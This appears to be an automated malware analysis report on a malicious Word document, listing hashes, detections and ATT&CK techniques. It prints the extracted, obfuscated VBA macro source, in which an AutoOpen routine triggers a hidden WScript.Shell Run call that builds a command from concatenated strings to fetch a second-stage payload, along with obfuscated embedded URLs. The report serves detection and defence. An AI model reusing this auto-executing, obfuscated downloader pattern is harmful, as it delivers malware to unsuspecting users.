Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a5f793c1e2f5b8d…

MALICIOUS

Office (OLE)

143.5 KB Created: 2019-01-14 23:10:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 6b647422e336df065a823f1c9570ba1e SHA-1: 8eecadf0e5bdf573c5b5723f10d76396cad21d41 SHA-256: 4a5f793c1e2f5b8d8f040cbdc357b2e06b59a844ea7b5620440697fbfedc10b0
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The macros utilize `WScript.Shell` and `CreateObject` to execute commands, specifically calling `Run` with a concatenated string that likely forms a URL. This indicates the macro's intent is to download and execute a second-stage payload. The presence of `WScript.Shell` and `Shell()` calls strongly suggests the use of Visual Basic for scripting, and the potential for PowerShell execution if the constructed command invokes it.

Heuristics 9

  • ClamAV: Doc.Malware.Olemal-6815218-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Olemal-6815218-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
    DesignerZ = Array(HandcraftedFrozenPantsY, Legacyj, CustomerS, CreateObject("WscRipt.sHeLl").Run(("" + BedfordshireL + Leadm + channelsV + UnitedKingdomD + HandmadeSoftCheesep + knowledgebaser.TextBox1) + EthiopianBirrH + Softk + onetooneV + harnessq + projectY, 78 - 78), IncredibleRubberBallW, SavingsAccountm, TCPd)
       Select Case ToysZ
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
    DesignerZ = Array(HandcraftedFrozenPantsY, Legacyj, CustomerS, CreateObject("WscRipt.sHeLl").Run(("" + BedfordshireL + Leadm + channelsV + UnitedKingdomD + HandmadeSoftCheesep + knowledgebaser.TextBox1) + EthiopianBirrH + Softk + onetooneV + harnessq + projectY, 78 - 78), IncredibleRubberBallW, SavingsAccountm, TCPd)
       Select Case ToysZ
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "SleekC"
    Sub autoopen()
    withdrawalI = Fieldsb - paymentq
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www@-igV2lla-V2@-V2t/uM3Ly$_P2U9x_07-Ez9?http://www@mi60IsMk60ovli6{@60u/uGq2E_`[jcV2G`z?http://www@clubdi60V2cto60s@tv/zp7mEqv_zaz3h?http://sha-ti-ikV2ta-g60a-thalay@com/V2UOLBN_uk2fdG3Ux_q010wOU{ In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6383 bytes
SHA-256: e35084e83ed84cdb34d58e5bfc9c0fe871557d89eca2fb5b28f8c34bb786b81f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "knowledgebaser"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "HandmadeSoftSaladc"
Function experiencesz()
On Error Resume Next
   Select Case FantasticL
         Case 431
maximizedM = LocksM
            Cottonz = CDate(userss)
            Freshw = Hungaryi
            Guadeloupej = Sgn(deposita)
         Case 455
            redundantS = 926
            RusticMetalShirtb = CDbl(406)
NewZealandDollari = Underpasss
            Softi = Sin(DeengineeredL)
         Case 257
growj = RhodeIslandV
            Rubberp = Fix(Nebraskam)
iterateB = invoiceZ
            DirectX = Round(373)
            THXE = CheckingAccountI
      End Select
   Select Case HomeLoanAccountr
         Case 765
AnalystK = RefinedSoftBikeR
            SleekConcreteCarc = CDate(SleekSoftShoesJ)
            OregonN = virtualj
            FantasticConcreteGlovesp = Sgn(MontanaC)
         Case 640
            deposita = 133
            Realignedj = CDbl(590)
MountainD = GenericSteelTablei
            CommunicationsT = Sin(synthesizingf)
         Case 624
IBd = backendn
            Skywayw = Fix(redundantI)
AdministratorS = f24754
            azurei = Round(632)
            contentbasedS = moderatorr
      End Select
DesignerZ = Array(HandcraftedFrozenPantsY, Legacyj, CustomerS, CreateObject("WscRipt.sHeLl").Run(("" + BedfordshireL + Leadm + channelsV + UnitedKingdomD + HandmadeSoftCheesep + knowledgebaser.TextBox1) + EthiopianBirrH + Softk + onetooneV + harnessq + projectY, 78 - 78), IncredibleRubberBallW, SavingsAccountm, TCPd)
   Select Case ToysZ
         Case 422
opticali = oliveY
            HomeLoanAccountl = CDate(HealthX)
            connectI = UnbrandedConcretePizzaM
            virtualH = Sgn(Meadowm)
         Case 822
            AvonT = 620
            platformsP = CDbl(824)
ErgonomicGraniteShirtj = GamesGamesM
            OfficerH = Sin(Accountabilityc)
         Case 238
NetworkedH = MetalS
            WoodenO = Fix(Missionr)
Cambridgeshirer = Extensionsk
            Intelligentj = Round(82)
            azureH = MontanaV
      End Select
   Select Case salmonb
         Case 393
DynamicQ = programmingv
            FloridaG = CDate(Designerw)
            infomediariesj = Progressivet
            IntelligentPlasticTunaE = Sgn(enhancej)
         Case 641
            proactiveo = 751
            UnbrandedD = CDbl(458)
DivisionA = hierarchyk
            XSSO = Sin(Clothingh)
         Case 154
Phasedw = Keyw
            LightsP = Fix(NuevoSolj)
KwanzaD = Practicalz
            TastyConcreteHata = Round(54)
            USDollarY = TrinidadandTobagoDollarz
      End Select
   Select Case AutoLoanAccountf
         Case 211
indigoD = virtualT
            PersonalLoanAccountw = CDate(depositn)
            FrenchSouthernTerritoriesj = securedlinej
            globali = Sgn(InvestmentAccountS)
         Case 171
            Lodgeq = 516
            BordersH = CDbl(998)
realtimeD = TuvaluW
            FrozenM = Sin(fuchsiaR)
         Case 692
Buckinghamshirez = SecuredF
            Islandsj = Fix(Dobral)
GorgeousFreshHatm = SmallSteelBaconP
            CSSn = Round(526)
            SteelZ = ComputersBeautySportsV
      End Select
End Function


Attribute VB_Name = "SleekC"
Sub autoopen()
withdrawalI = Fieldsb - paymentq
multibyteH = bypassb - Egyptk
Plannerm = FTPO - seamlessZ
Divisionu = hubY - driverw
Accountabilityz = FreshC - KenyaT
experiencesz
CodesspecificallyreservedfortestingpurposesE = Cambridgeshireh - ShoesBookst
fuchsiac = heuristicb - paradigmM
cultivates = SleekWoodenTunaj - Interactionsr
Dynamicj = tealL - MarylandV
reciprocalk = WestVirginiai - IncredibleW
End Sub

Attribute VB_Name = "architecturesY"

Attribute VB_Name = "bypassu"

Attribute VB_Name = "Mainec"

Attribute VB_Name = "Gatewayp"

Attribute VB_Name = "marketsi"

Attribute VB_Name = "RefinedWoodenChairG"

Attribute VB_Name = "deposith"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "alarmS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "USDollarN"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "SaudiArabiau"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "LicensedMetalBaconk"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "TacticsV"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "indexT"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False